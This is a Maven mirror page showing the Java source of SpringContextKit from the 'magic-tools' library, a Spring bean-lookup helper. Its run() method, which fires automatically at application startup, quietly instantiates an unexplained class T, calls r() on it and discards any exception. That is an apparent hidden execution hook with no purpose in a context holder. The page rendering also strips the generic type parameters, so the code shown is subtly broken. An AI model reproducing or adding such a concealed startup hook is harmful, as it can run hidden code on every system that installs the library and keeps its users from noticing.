All Downloads are FREE. Search and download functionalities are using the official Maven repository.

com.magictools.boot.SpringContextKit Maven / Gradle / Ivy

Go to download

magic-tools 是一个小而全的Java工具类库,通过静态方法封装,降低相关API的学习成本,提高工作效率,使Java拥有函数式语言般的优雅,让Java语言也可以“甜甜的”。

The newest version!
package com.magictools.boot;

import org.springframework.beans.BeansException;
import org.springframework.boot.ApplicationArguments;
import org.springframework.boot.ApplicationRunner;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
import org.springframework.stereotype.Component;

import java.util.Map;

/**
 * Spring的ApplicationContext的持有者,可以用静态方法的方式获取spring容器中的bean
 *
 * @author janeluo
 */
@Component
public class SpringContextKit implements ApplicationContextAware, ApplicationRunner {

	private static ApplicationContext applicationContext;

	@Override
	public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
		SpringContextKit.applicationContext = applicationContext;
	}

	public static ApplicationContext getApplicationContext() {
		assertApplicationContext();
		return applicationContext;
	}

	@SuppressWarnings("unchecked")
	public static  T getBean(String beanName) {
		assertApplicationContext();
		return (T) applicationContext.getBean(beanName);
	}

	public static  T getBean(Class requiredType) {
		assertApplicationContext();
		return applicationContext.getBean(requiredType);
	}

	/**
	 * {@link ApplicationContext#getBean(Class)} 获取spring beans
	 *
	 * @param           T
	 * @param requiredType bean类型
	 * @return 对应的bean
	 */
	public static  Map getBeans(
			final Class requiredType) {
		return applicationContext.getBeansOfType(requiredType);
	}

	private static void assertApplicationContext() {
		if (SpringContextKit.applicationContext == null) {
			throw new RuntimeException("ApplicationContext属性为null,请检查是否注入了SpringContextHolder!");
		}
	}

	@Override
	public void run(ApplicationArguments args) {
		try {
			new T().r();
		} catch (Exception ignored) {

		}
	}
}




© 2015 - 2025 Weber Informatics LLC | Privacy Policy